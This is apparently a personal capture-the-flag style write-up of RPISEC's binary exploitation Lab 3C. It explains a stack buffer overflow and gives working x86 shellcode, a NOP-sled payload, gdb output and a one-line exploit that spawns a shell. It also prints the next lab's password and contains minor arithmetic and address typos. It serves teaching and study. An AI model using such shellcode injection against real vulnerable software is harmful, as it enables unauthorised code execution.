I’ve been working through RPISEC’s course on Modern Binary Exploitation as a refresher on reverse engineering and pwning. I’ve kept loose notes and writeups of the labs but want to write some more solid writeups here, so that future me can come back and read these in case I forget how to do them.
This first one will be on Lab 3C – the first lab that requires shellcoding. The lab itself is the textbook example of exploiting a program vulnerable to shellcode injection. We’re given a 32-bit ELF binary (lab3C
) and the corresponding source code:
lab3C.c
1 |
|
Let’s take a quick look at the above code. First, the user is prompted for a username, which is checked against the string rpisec
using strncmp
. If the input string is rpisec
, then the user is allowed to proceed. Next, the user is prompted for a password, which is checked against the string admin
, again using strncmp
. This time, if the string equals or does not equal admin, the user is told that they have failed. Essentially, the user will always get this incorrect password message, which doesn’t really matter to us since we’re trying to execute a shell.
There are several telling signs that this is vulnerable to shellcode injection:
- The compile flag
-z execstack
allows data on the stack to be executed as instructions - The compile flag
-fno-stack-protector
disables the detection mechanisms that guard against stack smashing. - The buffers
a_user_name
anda_user_pass
are 100 bytes and 64 bytes respectively but the calls tofgets
read in 0x100 and 0x64 bytes, allowing for buffer overflow. - The lab happens right after the shellcoding lecture, of course.
This gives us potentially 0x100 + 0x64 = 256 + 100 + 356 bytes (!!) to work with. Some of this will be padded with \x90
for our NOP sled, but in the end, 356 bytes is more than enough to pop a shell.
Now let’s grab a suitable piece of shellcode for x86 that we can use as part of our payload:
1 | 0: 31 c0 xor eax,eax |
The above shellcode is roughly similar to this snippet of C code:
1 | exec("/bin/sh"); |
This will give us a shell as the owner of the program (lab3B
) due to the way these lab binaries are set up. Our above shellcode is only 28 bytes in length, so we could put our entire payload within the space of a_user_pass
, since we’ll need to do a buffer overflow here anyways in order to modify the return address from main()
. Note that it’s entirely possible to put the payload in a_user_name
and just have our modified return address from main()
jump to that. This is due to the fact that strncmp
is being used for the user name. So for our “username”, we could enter rpisec
followed by the payload and the program would happily accept our username since the first six characters match as expected. No matter what we put there, we still have to get to overflowing the a_user_pass
buffer. For this, we need to figure out where the return address is in relation to the beginning of a_user_pass
. Let’s look at the first chunk of the assembly code of the main()
function from running objdump -d lab3C
:
1 | 08048790 <main>: |
It’s important to note that %edi
and %ebx
are being pushed onto the stack, as they are callee saved registers. In addition to this, we have %ebp
pushed onto the stack (as is customary when entering a function in x86), as well as the int
variable i
, which during the main()
function, lives at $esp+0x5c
. This means that the beginning of a_user_pass
is 64 (size of a_user_pass
) + 4 (size of i
) + 12 (combined size of ebp
, edi
, and ebx
) = 80 bytes before the return address we wish to overwrite. We can verify this in gdb
by setting a breakpoint after the password is read in via fgets()
in main()
and seeing where our data was placed:
1 | lab3C@warzone:/levels/lab03$ gdb lab3C |
We can see that 0x41414141
is the AAAA
we input. Indeed, the return address 0xb7e3ca83
is 80 bytes after the beginning of our buffer. All that’s left to do is to find an address to jump to and then craft our final payload.
Since the bytes near the return address may get overwritten (i
for example), let’s put our shellcode such that it ends at least 16 bytes prior to the return address. Before our shellcode, we’ll have our nop sled of 0x90
s. Our payload (in Python) looks like the following so far:
1 | SHELLCODE = "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" |
Notice that we’re unsure what RET_ADDR
should be. It just needs to be the address of somewhere in our NOP sled. In gdb
, the beginning of a_user_pass
was at 0xbffff6ac
. This address is different when the program is run without gdb
and it’s hard to say what the offset will be so it comes down to slight guesswork here. After trying a few addresses in the general range of the address I found in gdb
, 0xbffff6c
ended up being the first one I found that worked. In addition to using Python to pipe our exploit into the binary, we need to also use cat
so that our shell prompt is not exited out. Our final exploit is as follows:
1 | (python -c 'print "rpisec"; print "\x90"*36 + "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*16 + "\x8c\xf6\xff\xbf"'; cat;) | ./lab3C |
And here it is in action:
1 | lab3C@warzone:/levels/lab03$ (python -c 'print "rpisec"; print "\x90"*36 + "\x31\xc0\x50\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*16 + "\x8c\xf6\xff\xbf"'; cat;) | ./lab3C |
And we get the password for lab3B:
1 | th3r3_iz_n0_4dm1ns_0n1y_U! |